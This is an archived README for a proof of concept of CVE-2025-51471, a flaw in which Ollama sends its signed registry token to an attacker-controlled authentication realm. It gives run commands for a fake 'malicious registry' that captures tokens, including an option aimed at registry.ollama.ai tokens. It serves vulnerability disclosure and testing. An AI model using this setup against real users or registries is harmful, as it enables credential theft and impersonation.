

Proof of concept

Proof of concept - ajtazer, GitHub.

- Published: date not stated
- Original: <<https://github.com/ajtazer/CVE-2025-51471-PoC>>
- Preserved from: <https://github.com/ajtazer/CVE-2025-51471-PoC> (github-repository-api) on 2026-10-02
- Repository commit: e62b52999bc40620171054d9414cafc6b176785a
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy. Created from documentation in [ajtazer/CVE-2025-51471-PoC](#), pinned to commit [e62b52999bc4](#). GitHub navigation and file listings are omitted. This is selected documentation; repository code is never checked out, built or run.

README.md

[View original document](#)

CVE-2025-51471 - Ollama Cross-Domain Token Exposure PoC

[[image: CVE-2025-51471](#)] [[image: Ollama](#)] [[image: CVSS](#)]

Author: ajtazer

□ Overview

This repository contains a Proof of Concept (PoC) for **CVE-2025-51471**, a Cross-Domain Authentication Token Exposure vulnerability that affects **all versions of Ollama** (including the latest).

□ Vulnerability Description

When Ollama pulls a model from an HTTPS server that responds with `401 Unauthorized`, it follows the `WWW-Authenticate` header's `realm` URL **without validating if it belongs to the same domain**[...]

This allows an attacker to:

1. Set up a malicious "registry" server
2. Trick a user into pulling a model from that server
3. Return a `401` response with a `WWW-Authenticate` header pointing to attacker-controlled endpoint
4. Ollama blindly sends its Ed25519 signed authentication token to the attacker
5. The attacker captures the token

Impact

- **Access private models** on `registry.ollama.ai`
- **Push malicious models** under the victim's identity
- **Impersonate the victim** on the Ollama registry

📄 Quick Start

Prerequisites

- Python 3.7+
- Flask (`pip install flask`)
- Ollama (any version)

Installation

```
git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
```

Running the PoC

1. **Start the malicious registry server (HTTP mode):**

```
python3 malicious_registry.py --no-ssl
```

1. **In another terminal, ensure Ollama is running:**

```
ollama serve
```

1. **Trigger the vulnerability:**

```
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model",
"insecure": true}'

# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
```

1. Watch the server terminal for captured tokens!

📺 Demo (PoC Video)

I demonstrated this PoC in a short video — watch it here:

[YouTube — PoC demo](#)

Note (macOS HTTPS mode): If using HTTPS mode, add the generated cert to your keychain or use HTTP mode with `--no-ssl`.

📖 Usage Options

```
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
```

Options:

<code>--port, -p PORT</code>	Port to listen on (default: 8080)
<code>--no-ssl</code>	Use HTTP instead of HTTPS
<code>--steal-official, -s</code>	Redirect to steal registry.ollama.ai tokens
<code>--no-verbose</code>	Disable verbose output

📖 API Endpoints

Endpoint	Description
<code>/v2/*</code>	Fake registry endpoint (triggers exploit)
<code>/v2/token</code>	Token capture endpoint
<code>/tokens</code>	View all captured tokens (JSON)
<code>/health</code>	Server health check

📖 Mitigation

1. Only pull models from trusted sources
2. Be cautious when pulling models from third-party registries

3. See [PR #10750](#) for the official fix

☐ Credits

- **Author:** ajtazer
- **Original Researchers:**
 - Mohammed Benhelli (@FuzzingLabs)
 - Patrick Ventuzelo (@FuzzingLabs)
 - [Huntr Report](#)

⚠ Disclaimer

This PoC is for **educational and authorized security testing purposes only**. Do NOT use against systems you don't own.

Made with ♥ using [Antigravity](#)

Archived from <https://github.com/ajtazer/CVE-2025-51471-PoC>. Rendered offline from the local Markdown copy.